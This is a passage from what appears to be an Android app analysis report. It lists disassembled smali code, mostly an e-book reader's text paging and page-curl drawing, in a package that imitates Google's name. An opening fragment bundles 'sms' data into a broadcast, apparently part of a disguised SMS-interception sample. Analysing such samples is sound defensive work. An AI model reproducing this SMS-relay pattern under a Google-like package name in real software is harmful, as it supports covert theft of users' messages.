76 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
77 | new-instance v2, Landroid/os/Bundle; | |
79 | invoke-direct {v2}, Landroid/os/Bundle;-><init>()V | |
81 | const-string v3, "sms" | |
83 | invoke-virtual {v2, v3, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V |
|
85 | invoke-virtual {v1, v2}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent; | |
87 | invoke-virtual {p1, v1}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V | |
88 | cond_79: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v7, 0x0 | |
2 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
3 | if-gez v0, :cond_7 | |
4 | iput v7, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
5 | cond_7: new-instance v2, Ljava/util/Vector; | |
7 | invoke-direct {v2}, Ljava/util/Vector;-><init>()V | |
9 | const-string v1, "" | |
10 | goto_e: | |
11 | invoke-virtual {v2}, Ljava/util/Vector;->size()I | |
12 | move-result v0 | |
13 | iget v3, p0, Lcom/google/services/BookPageFactory;->mLineCount:I | |
14 | if-ge v0, v3, :cond_72 | |
15 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
16 | if-lez v0, :cond_72 | |
17 | new-instance v3, Ljava/util/Vector; | |
19 | invoke-direct {v3}, Ljava/util/Vector;-><init>()V | |
20 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
22 | invoke-virtual {p0, v0}, Lcom/google/services/BookPageFactory;->readParagraphBack(I)[B | |
23 | move-result-object v4 | |
24 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
25 | array-length v5, v4 | |
26 | sub-int/2addr v0, v5 | |
27 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
28 | try_start_2b: new-instance v0, Ljava/lang/String; | |
30 | iget-object v5, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
32 | invoke-direct {v0, v4, v5}, Ljava/lang/String;-><init>([BLjava/lang/String;)V | |
33 | try_end_32: | |
34 | const-string v1, "\r\n" | |
36 | const-string v4, "" | |
38 | invoke-virtual {v0, v1, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
39 | move-result-object v0 | |
41 | const-string v1, "\n" | |
43 | const-string v4, "" | |
45 | invoke-virtual {v0, v1, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
46 | move-result-object v0 | |
48 | invoke-virtual {v0}, Ljava/lang/String;->length()I | |
49 | move-result v1 | |
50 | if-nez v1, :cond_4b | |
52 | invoke-virtual {v3, v0}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z | |
53 | goto_4b: | |
54 | invoke-virtual {v0}, Ljava/lang/String;->length()I | |
55 | move-result v1 | |
56 | if-lez v1, :cond_6d | |
58 | iget-object v1, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
59 | const/4 v4, 0x1 | |
60 | iget v5, p0, Lcom/google/services/BookPageFactory;->mVisibleWidth:F | |
61 | const/4 v6, 0x0 | |
63 | invoke-virtual {v1, v0, v4, v5, v6}, Landroid/graphics/Paint;->breakText(Ljava/lang/String;ZF[F)I |
|
64 | move-result v1 | |
66 | invoke-virtual {v0, v7, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String; |
|
67 | move-result-object v4 | |
69 | invoke-virtual {v3, v4}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z | |
71 | invoke-virtual {v0, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String; | |
72 | move-result-object v0 | |
73 | goto/16 :goto_4b | |
74 | catch_67: move-exception v0 | |
76 | invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V | |
77 | move-object v0, v1 | |
78 | goto/16 :goto_32 | |
79 | cond_6d: | |
80 | invoke-virtual {v2, v7, v3}, Ljava/util/Vector;->addAll(ILjava/util/Collection;)Z |
|
81 | move-object v1, v0 | |
82 | goto/16 :goto_e | |
83 | goto_72: | |
84 | invoke-virtual {v2}, Ljava/util/Vector;->size()I | |
85 | move-result v0 | |
86 | iget v1, p0, Lcom/google/services/BookPageFactory;->mLineCount:I | |
87 | if-le v0, v1, :cond_97 | |
88 | try_start_7a: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
89 | const/4 v0, 0x0 | |
91 | invoke-virtual {v2, v0}, Ljava/util/Vector;->get(I)Ljava/lang/Object; |
|
92 | move-result-object v0 | |
93 | check-cast v0, Ljava/lang/String; | |
95 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
97 | invoke-virtual {v0, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B | |
98 | move-result-object v0 | |
99 | array-length v0, v0 | |
100 | add-int/2addr v0, v1 | |
101 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
102 | const/4 v0, 0x0 | |
104 | invoke-virtual {v2, v0}, Ljava/util/Vector;->remove(I)Ljava/lang/Object; |
|
105 | try_end_91: goto/16 :goto_72 | |
106 | catch_92: move-exception v0 | |
108 | invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V | |
109 | goto/16 :goto_72 | |
110 | cond_97: iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
111 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
112 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v10, 0x1 | |
4 | const/high16 v9, 0x4000 | |
5 | const/high16 v8, 0x3f80 | |
7 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
8 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
10 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
11 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
12 | add-float/2addr v0, v1 | |
13 | float-to-int v0, v0 | |
14 | div-int/lit8 v0, v0, 0x2 | |
15 | int-to-float v0, v0 | |
17 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
18 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
19 | sub-float/2addr v0, v1 | |
21 | invoke-static {v0}, Ljava/lang/Math;->abs(F)F | |
22 | move-result v0 | |
24 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
25 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
27 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
28 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
29 | add-float/2addr v1, v2 | |
30 | float-to-int v1, v1 | |
31 | div-int/lit8 v1, v1, 0x2 | |
32 | int-to-float v1, v1 | |
34 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
35 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
36 | sub-float/2addr v1, v2 | |
38 | invoke-static {v1}, Ljava/lang/Math;->abs(F)F | |
39 | move-result v1 | |
41 | invoke-static {v0, v1}, Ljava/lang/Math;->min(FF)F | |
42 | move-result v0 | |
44 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
46 | invoke-virtual {v1}, Landroid/graphics/Path;->reset()V | |
48 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
50 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
51 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
53 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
54 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
56 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->moveTo(FF)V | |
58 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
60 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
61 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
63 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
64 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
66 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
68 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
70 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
71 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
73 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
74 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
76 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
78 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
80 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
81 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
83 | iget-object v3, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
84 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
86 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
88 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
90 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
91 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
93 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
94 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
96 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
98 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
100 | invoke-virtual {v1}, Landroid/graphics/Path;->close()V | |
101 | iget-boolean v1, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z | |
102 | if-eqz v1, :cond_150 | |
104 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
105 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
106 | sub-float/2addr v1, v8 | |
107 | float-to-int v1, v1 | |
109 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
110 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
111 | add-float/2addr v0, v2 | |
112 | add-float/2addr v0, v8 | |
113 | float-to-int v0, v0 | |
115 | iget-object v2, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable; | |
116 | goto_93: | |
117 | invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I | |
119 | iget-object v3, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
121 | invoke-virtual {p1, v3}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;)Z | |
123 | iget-object v3, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
125 | sget-object v4, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op; | |
127 | invoke-virtual {p1, v3, v4}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
129 | iget-object v3, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint; | |
131 | iget-object v4, p0, Lcom/google/services/PageWidget;->mColorMatrixFilter:Landroid/graphics/ColorMatrixColorFilter; | |
133 | invoke-virtual {v3, v4}, Landroid/graphics/Paint;->setColorFilter(Landroid/graphics/ColorFilter;)Landroid/graphics/ColorFilter; | |
134 | iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
135 | int-to-float v3, v3 | |
137 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
138 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
139 | sub-float/2addr v3, v4 | |
140 | float-to-double v3, v3 | |
142 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
143 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
144 | iget v6, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
145 | int-to-float v6, v6 | |
146 | sub-float/2addr v5, v6 | |
147 | float-to-double v5, v5 | |
149 | invoke-static {v3, v4, v5, v6}, Ljava/lang/Math;->hypot(DD)D | |
150 | move-result-wide v3 | |
151 | double-to-float v3, v3 | |
152 | iget v4, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
153 | int-to-float v4, v4 | |
155 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
156 | iget v5, v5, Landroid/graphics/PointF;->x:F | |
157 | sub-float/2addr v4, v5 | |
158 | div-float/2addr v4, v3 | |
160 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
161 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
162 | iget v6, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
163 | int-to-float v6, v6 | |
164 | sub-float/2addr v5, v6 | |
165 | div-float v3, v5, v3 | |
167 | iget-object v5, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
168 | const/4 v6, 0x0 | |
169 | mul-float v7, v9, v3 | |
170 | mul-float/2addr v7, v3 | |
171 | sub-float v7, v8, v7 | |
172 | aput v7, v5, v6 | |
174 | iget-object v5, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
175 | mul-float v6, v9, v4 | |
176 | mul-float/2addr v3, v6 | |
177 | aput v3, v5, v10 | |
179 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
180 | const/4 v5, 0x3 | |
182 | iget-object v6, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
183 | aget v6, v6, v10 | |
184 | aput v6, v3, v5 | |
186 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
187 | const/4 v5, 0x4 | |
188 | mul-float v6, v9, v4 | |
189 | mul-float/2addr v4, v6 | |
190 | sub-float v4, v8, v4 | |
191 | aput v4, v3, v5 | |
193 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix; | |
195 | invoke-virtual {v3}, Landroid/graphics/Matrix;->reset()V | |
197 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix; | |
199 | iget-object v4, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
201 | invoke-virtual {v3, v4}, Landroid/graphics/Matrix;->setValues([F)V | |
203 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix; | |
205 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
206 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
207 | neg-float v4, v4 | |
209 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
210 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
211 | neg-float v5, v5 | |
213 | invoke-virtual {v3, v4, v5}, Landroid/graphics/Matrix;->preTranslate(FF)Z | |
215 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix; | |
217 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
218 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
220 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
221 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
223 | invoke-virtual {v3, v4, v5}, Landroid/graphics/Matrix;->postTranslate(FF)Z | |
225 | iget-object v3, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix; | |
227 | iget-object v4, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint; | |
229 | invoke-virtual {p1, p2, v3, v4}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Matrix;Landroid/graphics/Paint;)V | |
231 | iget-object v3, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint; | |
232 | const/4 v4, 0x0 | |
234 | invoke-virtual {v3, v4}, Landroid/graphics/Paint;->setColorFilter(Landroid/graphics/ColorFilter;)Landroid/graphics/ColorFilter; |
|
235 | iget v3, p0, Lcom/google/services/PageWidget;->mDegrees:F | |
237 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
238 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
240 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
241 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
243 | invoke-virtual {p1, v3, v4, v5}, Landroid/graphics/Canvas;->rotate(FFF)V | |
245 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
246 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
247 | float-to-int v3, v3 | |
249 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
250 | iget v4, v4, Landroid/graphics/PointF;->y:F | |
251 | iget v5, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
252 | add-float/2addr v4, v5 | |
253 | float-to-int v4, v4 | |
255 | invoke-virtual {v2, v1, v3, v0, v4}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V | |
257 | invoke-virtual {v2, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V | |
259 | invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V | |
260 | return-void | |
261 | cond_150: | |
262 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
263 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
264 | sub-float v0, v1, v0 | |
265 | sub-float/2addr v0, v8 | |
266 | float-to-int v1, v0 | |
268 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
269 | iget v0, v0, Landroid/graphics/PointF;->x:F | |
270 | add-float/2addr v0, v8 | |
271 | float-to-int v0, v0 | |
273 | iget-object v2, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable; | |
274 | goto/16 :goto_93 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
3 | const/4 v1, 0x0 | |
4 | const v4, 0x3c23d70a | |
6 | invoke-direct {p0, p1}, Landroid/view/View;-><init>(Landroid/content/Context;)V | |
7 | const/16 v0, 0x1e0 | |
8 | iput v0, p0, Lcom/google/services/PageWidget;->mWidth:I | |
9 | const/16 v0, 0x320 | |
10 | iput v0, p0, Lcom/google/services/PageWidget;->mHeight:I | |
11 | iput v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
12 | iput v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
13 | iput-object v2, p0, Lcom/google/services/PageWidget;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
14 | iput-object v2, p0, Lcom/google/services/PageWidget;->mNextPageBitmap:Landroid/graphics/Bitmap; | |
15 | new-instance v0, Landroid/graphics/PointF; | |
17 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
18 | iput-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
19 | new-instance v0, Landroid/graphics/PointF; | |
21 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
22 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
23 | new-instance v0, Landroid/graphics/PointF; | |
25 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
26 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
27 | new-instance v0, Landroid/graphics/PointF; | |
29 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
30 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF; | |
31 | new-instance v0, Landroid/graphics/PointF; | |
33 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
34 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
35 | new-instance v0, Landroid/graphics/PointF; | |
37 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
38 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
39 | new-instance v0, Landroid/graphics/PointF; | |
41 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
42 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
43 | new-instance v0, Landroid/graphics/PointF; | |
45 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
46 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF; | |
47 | new-instance v0, Landroid/graphics/PointF; | |
49 | invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V | |
50 | iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
51 | const/16 v0, 0x9 | |
52 | new-array v0, v0, [F | |
53 | fill-array-data v0, :array_be | |
54 | iput-object v0, p0, Lcom/google/services/PageWidget;->mMatrixArray:[F | |
55 | iget v0, p0, Lcom/google/services/PageWidget;->mWidth:I | |
56 | int-to-double v0, v0 | |
57 | iget v2, p0, Lcom/google/services/PageWidget;->mHeight:I | |
58 | int-to-double v2, v2 | |
60 | invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->hypot(DD)D |
|
61 | move-result-wide v0 | |
62 | double-to-float v0, v0 | |
63 | iput v0, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
64 | new-instance v0, Landroid/graphics/Path; | |
66 | invoke-direct {v0}, Landroid/graphics/Path;-><init>()V | |
67 | iput-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
68 | new-instance v0, Landroid/graphics/Path; | |
70 | invoke-direct {v0}, Landroid/graphics/Path;-><init>()V | |
71 | iput-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
73 | invoke-direct {p0}, Lcom/google/services/PageWidget;->createDrawable()V | |
74 | new-instance v0, Landroid/graphics/Paint; | |
76 | invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V | |
77 | iput-object v0, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint; | |
79 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPaint:Landroid/graphics/Paint; | |
81 | sget-object v1, Landroid/graphics/Paint$Style;->FILL:Landroid/graphics/Paint$Style; | |
83 | invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStyle(Landroid/graphics/Paint$Style;)V | |
84 | new-instance v0, Landroid/graphics/ColorMatrix; | |
86 | invoke-direct {v0}, Landroid/graphics/ColorMatrix;-><init>()V | |
87 | const/16 v1, 0x14 | |
88 | new-array v1, v1, [F | |
89 | fill-array-data v1, :array_d4 | |
91 | invoke-virtual {v0, v1}, Landroid/graphics/ColorMatrix;->set([F)V | |
92 | new-instance v1, Landroid/graphics/ColorMatrixColorFilter; | |
94 | invoke-direct {v1, v0}, Landroid/graphics/ColorMatrixColorFilter;-><init>(Landroid/graphics/ColorMatrix;)V | |
95 | iput-object v1, p0, Lcom/google/services/PageWidget;->mColorMatrixFilter:Landroid/graphics/ColorMatrixColorFilter; | |
96 | new-instance v0, Landroid/graphics/Matrix; | |
98 | invoke-direct {v0}, Landroid/graphics/Matrix;-><init>()V | |
99 | iput-object v0, p0, Lcom/google/services/PageWidget;->mMatrix:Landroid/graphics/Matrix; | |
100 | new-instance v0, Landroid/widget/Scroller; | |
102 | invoke-virtual {p0}, Lcom/google/services/PageWidget;->getContext()Landroid/content/Context; | |
103 | move-result-object v1 | |
105 | invoke-direct {v0, v1}, Landroid/widget/Scroller;-><init>(Landroid/content/Context;)V | |
106 | iput-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller; | |
108 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
109 | iput v4, v0, Landroid/graphics/PointF;->x:F | |
111 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
112 | iput v4, v0, Landroid/graphics/PointF;->y:F | |
113 | return-void | |
114 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
4 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
6 | invoke-virtual {v0}, Ljava/util/Vector;->size()I | |
7 | move-result v0 | |
8 | if-nez v0, :cond_f | |
10 | invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageDown()Ljava/util/Vector; | |
11 | move-result-object v0 | |
12 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
13 | cond_f: | |
14 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
16 | invoke-virtual {v0}, Ljava/util/Vector;->size()I | |
17 | move-result v0 | |
18 | if-lez v0, :cond_49 | |
20 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_book_bg:Landroid/graphics/Bitmap; | |
21 | if-nez v0, :cond_42 | |
22 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_backColor:I | |
24 | invoke-virtual {p1, v0}, Landroid/graphics/Canvas;->drawColor(I)V | |
25 | goto_20: iget v0, p0, Lcom/google/services/BookPageFactory;->marginHeight:I | |
27 | iget-object v1, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
29 | invoke-virtual {v1}, Ljava/util/Vector;->iterator()Ljava/util/Iterator; | |
30 | move-result-object v2 | |
31 | move v1, v0 | |
32 | goto_29: | |
33 | invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z | |
34 | move-result v0 | |
35 | if-eqz v0, :cond_49 | |
37 | invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
38 | move-result-object v0 | |
39 | check-cast v0, Ljava/lang/String; | |
40 | iget v3, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I | |
41 | add-int/2addr v1, v3 | |
42 | iget v3, p0, Lcom/google/services/BookPageFactory;->marginWidth:I | |
43 | int-to-float v3, v3 | |
44 | int-to-float v4, v1 | |
46 | iget-object v5, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
48 | invoke-virtual {p1, v0, v3, v4, v5}, Landroid/graphics/Canvas;->drawText(Ljava/lang/String;FFLandroid/graphics/Paint;)V | |
49 | goto/16 :goto_29 | |
50 | cond_42: | |
51 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_book_bg:Landroid/graphics/Bitmap; | |
52 | const/4 v1, 0x0 | |
54 | invoke-virtual {p1, v0, v2, v2, v1}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;FFLandroid/graphics/Paint;)V |
|
55 | goto/16 :goto_20 | |
56 | cond_49: iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
57 | int-to-double v0, v0 | |
58 | const-wide/high16 v2, 0x3ff0 | |
59 | mul-double/2addr v0, v2 | |
60 | iget v2, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
61 | int-to-double v2, v2 | |
62 | div-double/2addr v0, v2 | |
63 | double-to-float v0, v0 | |
64 | new-instance v1, Ljava/lang/StringBuilder; | |
66 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
68 | iget-object v2, p0, Lcom/google/services/BookPageFactory;->df:Ljava/text/DecimalFormat; | |
69 | const/high16 v3, 0x42c8 | |
70 | mul-float/2addr v0, v3 | |
71 | float-to-double v3, v0 | |
73 | invoke-virtual {v2, v3, v4}, Ljava/text/DecimalFormat;->format(D)Ljava/lang/String; |
|
74 | move-result-object v0 | |
76 | invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
77 | move-result-object v0 | |
79 | const-string v1, "%" | |
81 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
82 | move-result-object v0 | |
84 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
85 | move-result-object v0 | |
